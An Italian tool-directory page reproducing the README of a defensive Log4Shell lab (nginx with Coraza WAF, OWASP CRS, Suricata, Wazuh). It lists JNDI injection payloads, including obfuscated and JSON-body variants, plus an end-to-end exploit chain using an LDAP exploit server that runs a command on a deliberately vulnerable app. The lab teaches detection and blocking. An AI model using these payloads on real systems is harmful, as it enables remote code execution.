Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/tieupham267/log4shell-coraza
Strumenti DifensiviScanner di VulnerabilitàExploitEvasione IDS/IPSBypass WAFSicurezza WebPenetration TestingRilevamento IntrusioniApprendimento e FormazioneAnalisi dei LogLab e Pratica
3 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
tieupham267/log4shell-coraza

log4shell-coraza

Log4Shell (CVE-2021-44228) laboratorio di difesa — nginx + modulo dinamico Coraza WAF + OWASP CRS v4. Solo uso educativo.

Vedi Repository

Log4Shell Security Lab — nginx + Coraza WAF

Scopo educativo/difensivo: questo lab contiene un'app intenzionalmente vulnerabile (Log4j 2.14.1) e un kit di exploit JNDI, SOLO per imparare a rilevare e bloccare Log4Shell in un ambiente isolato. Non distribuire su Internet, non usare per attaccare sistemi che non ti appartengono.

Lab pratico di difesa Log4Shell (CVE-2021-44228) utilizzando nginx con Coraza WAF integrato (modulo dinamico) + OWASP CRS v4 + insieme di regole JNDI personalizzate. Include container target Spring Boot vulnerabile, attacker-box Kali, e Suricata + Wazuh per l'osservazione.


1. Architettura

root@kitploit:~
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│   ├── nginx-proxy              ← entrypoint :80/:443, con modulo Coraza + CRS v4
│   ├── attacker-box             ← Kali + kit exploit JNDI
│   └── suricata-ids             ← sniff traffico dmz
│
└── backend-net (172.22.0.0/24, internal: true)
    ├── nginx-proxy              ← seconda NIC
    ├── log4shell-app            ← Spring Boot Log4j 2.14.1
    ├── wazuh-manager            ← SIEM
    └── wazuh-dashboard          ← UI

Flusso delle richieste: client → nginx (Coraza inspect) → log4shell-app. Il WAF gira all'interno di nginx (tramite modulo ngx_http_coraza_module.so), non in un contenitore separato.


2. Requisiti

ElementoVersione minima
Docker Desktop / Engine24+ con Compose v2
RAM libera4 GB (Wazuh consuma ~1.5 GB)
Spazio su disco libero6 GB (immagine build artefatto)
Tempo di build iniziale10–15 minuti (libcoraza + modulo nginx + strumenti attacker Maven)

3. Bootstrap — prima esecuzione

Passo 3.1 — Build delle immagini

root@kitploit:~
cd /path/to/log4shell-nginx-coraza
docker compose build

La fase più lenta è nginx (build di libcoraza v1.4.0 con Go 1.25, poi compilazione del modulo coraza-nginx). Verrà salvata in cache dopo la prima build.

Passo 3.2 — Avvio dello stack

root@kitploit:~
docker compose up -d
docker compose ps

Dopo circa 30 secondi, stato previsto:

Passo 3.3 — Smoke test

root@kitploit:~
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"

# attraverso WAF fino all'app (endpoint reale di log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"

curl http://localhost/ senza header X-Api-Version restituisce 400 — è l'errore whitelabel di Spring Boot (nessun handler), non è un blocco WAF.


4. Test del WAF che blocca Log4Shell

Passo 4.1 — Payload base

root@kitploit:~
# JNDI in User-Agent → regola 1910010 scatta, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/

# JNDI nell'header log dell'app: X-Api-Version → regola 1910001 (header+arg) scatta, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/

# JNDI nella query string → CRS fase 1 blocca
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'

Previsto: HTTP/1.1 403 Forbidden, body <html>... 403 Forbidden ... nginx ...</html>.

Passo 4.2 — Payload offuscati

root@kitploit:~
# Lower trick (regola 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/

# Colon-dash-dash (regola 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/

Passo 4.3 — Payload in corpo JSON

root@kitploit:~
curl -i -X POST -H 'Content-Type: application/json' \
  -d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
  http://localhost/api/log
# → 403 (regola 1910026: Content-Type=json + corpo contiene jndi)

5. Ispezione dei log WAF

Log di audit Coraza (JSON)

root@kitploit:~
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
    try:
        d=json.loads(ln)
        t=d['transaction']
        ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
        st=t['response']['status']
        for m in t.get('messages') or []:
            print(f'{st}  {ua}  ::  {m[\"error_message\"][:160]}')
    except: pass
"

Ogni evento in JSON Lines, contiene:

  • transaction.is_interrupted: true → WAF ha bloccato
  • messages[].error_message → quale regola è scattata, file e riga, severità

Log di accesso nginx

root@kitploit:~
docker exec nginx-proxy tail -f /var/log/nginx/access.log

Filtra i blocchi:

root@kitploit:~
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'

Percorsi mount sull'host

root@kitploit:~
./logs/nginx/      ← access.log, error.log
./logs/coraza/     ← audit.log (JSON), debug.log

6. Catena di exploit reale — attacker-box → log4shell-app

Di default backend-net è impostato su internal: true e attacker-box è solo in dmz-net, quindi log4shell-app NON può raggiungere attacker-box. Per far funzionare la catena JNDI end-to-end, esegui prima il passo 6.0.

Passo 6.0 — Permetti a log4shell-app di chiamare attacker-box

Modifica docker-compose.yml, aggiungi attacker-box a backend-net:

root@kitploit:~
  attacker-box:
    networks:
      - dmz-net
      - backend-net    # <— aggiungi

Oppure sposta log4shell-app su dmz-net (più semplice ma riduce il valore educativo della segmentazione):

root@kitploit:~
  log4shell-app:
    networks:
      - backend-net
      - dmz-net        # <— aggiungi

Applica: docker compose up -d (Compose ricrea quel contenitore).

Passo 6.1 — Avvia il server exploit JNDI all'interno di attacker-box

root@kitploit:~
docker exec -it kali-attacker bash
cd /opt/exploits

# Opzione A: marshalsec — semplice, solo relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2

# Opzione B: JNDI-Exploit-Kit — toolkit completo, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit

Il server ascolta su LDAP :1389 e HTTP :8888 (esposti sull'host nel compose).

Passo 6.2 — Test di bypass: chiama direttamente l'app (senza WAF) per confermare la vulnerabilità

root@kitploit:~
# Da attacker-box, chiama direttamente log4shell-app su backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/

Verifica:

root@kitploit:~
# Il marker Pwned viene creato nel container dell'app
docker exec victim-app ls -la /tmp/pwned

Se vedi il file → la catena di exploit funziona, l'app è ancora vulnerabile, il WAF NON viene bypassato passando per la strada principale.

Passo 6.3 — Verifica che il WAF blocchi lo stesso payload attraverso la strada principale

root@kitploit:~
# Passando per nginx (strada pubblica principale)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, NESSUN nuovo /tmp/pwned

7. Modifica delle regole (senza rebuild)

Il file ./coraza/config/log4shell-rules.conf è montato :ro in nginx su /etc/nginx/coraza/log4shell-rules.conf. Dopo averlo modificato:

root@kitploit:~
docker exec nginx-proxy nginx -t      # controllo sintassi
docker exec nginx-proxy nginx -s reload

Se Coraza segnala errori di parsing (failed to compile the directive...), i worker usciranno e nginx -s reload non riuscirà a far ripartire. In tal caso:

root@kitploit:~
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log

Layout delle regole caricate nel WAF

Ordine di inclusione (in nginx/coraza/main.conf, già baked nell'immagine):

  1. Configurazione engine: SecRuleEngine On, log di audit, log di debug
  2. crs-setup.conf — inizializza tx.*_anomaly_score, soglie
  3. owasp-crs/rules/*.conf — intero CRS v4.7.0
  4. log4shell-rules.conf — regole personalizzate (montate dall'host)

Intervallo ID regole personalizzate: 1910001 – 1910999 (evita l'intervallo CRS 900000–999999).

Limiti di sintassi Corasa vs ModSecurity

  • Severity accetta solo enum standard: EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW non validi.
  • Le collezioni persistenti (IP:, SESSION:, RESOURCE:) non funzionano se il backing store non è configurato. Usa tx. per richiesta singola o rate-limit tramite nginx limit_req_zone.

8. Risoluzione dei problemi

nginx UP ma (unhealthy) / curl localhost rimane in sospeso

root@kitploit:~
docker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza

Di solito è a causa di una sintassi errata in una nuova regola → tutti i worker escono con codice 2. Correggi la regola, esegui docker compose restart nginx.

failed to create WAF: ... unknown severity: HIGH

Cambia severity:'HIGH' → severity:'ERROR' nella regola personalizzata.

failed to compile the directive "secrule": invalid arguments, expected collection TX

La regola sta usando setvar:ip.xxx o fa riferimento a IP:something / TX:NEVER_DECLARED. Rimuovi la collezione persistente o raggruppa la logica in una singola regola a catena.

Suricata Exited (1)

L'immagine jasonish/suricata:latest ha un proprio entrypoint e il yaml montato da ./suricata/config/ potrebbe non essere compatibile con la versione nell'immagine. Soluzione rapida: commenta temporaneamente il servizio suricata nel compose, il lab funziona comunque (non serve IDS per il funzionamento di Coraza). Per una soluzione definitiva, sostituisci suricata.yaml con il default dell'immagine (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).

log4shell-app esce subito dopo l'avvio

L'immagine base è su Alpine 3.8 EOL. Assicurati che il comando nel compose sia ["java", "-jar", "/app/spring-boot-application.jar"] (NON apk add iptables — il repo Alpine 3.8 è stato deprecato).

Dashboard Wazuh non raggiungibile su http://localhost:5601

Wazuh manager + dashboard necessitano di wazuh-indexer (OpenSearch) per funzionare correttamente. Lo stack attuale manca di quel servizio — la dashboard si avvierà ma il login fallirà. Se serve, aggiungi il servizio wazuh-indexer seguendo il compose ufficiale.


9. Pulizia

root@kitploit:~
# Ferma + rimuovi container, mantieni cache immagini
docker compose down

# Distruggi tutto (inclusi volumi Wazuh, forza rebuild successivo)
docker compose down -v

# Elimina anche le immagini build (libera ~3 GB)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box

10. Struttura delle directory

root@kitploit:~
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│   ├── Dockerfile              # multi-stage: libcoraza + coraza-nginx + CRS v4
│   ├── nginx.conf              # load_module + coraza on; in http{}
│   ├── conf/
│   │   └── default.conf        # reverse proxy → log4shell-app:8080
│   └── coraza/
│       └── main.conf           # configurazione engine + Include CRS + personalizzate
├── coraza/
│   └── config/
│       └── log4shell-rules.conf  # regole JNDI personalizzate, montate :ro in nginx
├── attacker/
│   ├── Dockerfile              # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│   ├── scripts/
│   │   ├── start-ldap-server.sh
│   │   └── test-payloads.sh
│   └── exploit-classes/
│       └── Exploit.java
├── suricata/
│   ├── config/
│   └── rules/
├── wazuh/config/
└── logs/                        # punti di mount per nginx, coraza, app, suricata, wazuh

11. Riferimento ID regole

IntervalloResponsabileSovrapposizione range CRS?
900000–999999OWASP CRS v4 (init, IP rep, protocol, RCE, SQLi, XSS, scanner, blocking eval)(di proprietà CRS)
1910000–1910999Regole Log4Shell personalizzateNo

Tutti gli ID regole personalizzate esistenti: 1910001–1910008 (pattern JNDI), 1910010–1910014 (per-header), 1910015 (protocolli alternativi), 1910020 (rilevamento scanning), 1910026 (catena corpo JSON), 1910028 (catena corpo XML), 1910030 (paranoia 3), 1910999 (echo valutazione anomalia).


Fine: se il lab arriva fino al Passo 4, il WAF funziona. Il Passo 6 serve solo se vuoi dimostrare l'intera catena di exploit end-to-end.

Scarica lo strumento
ServizioSTATO
nginx-proxyUp (healthy)
victim-appUp
kali-attackerUp
wazuh-siem, wazuh-webUp
suricata-idspotrebbe essere Restarting (vedi sezione 8 — non blocca il lab)
  • TX:VARNAME può fare riferimento solo a variabili già impostate con setvar nella stessa richiesta. Se una regola è in una fase diversa, considera di raggrupparla in una regola a catena.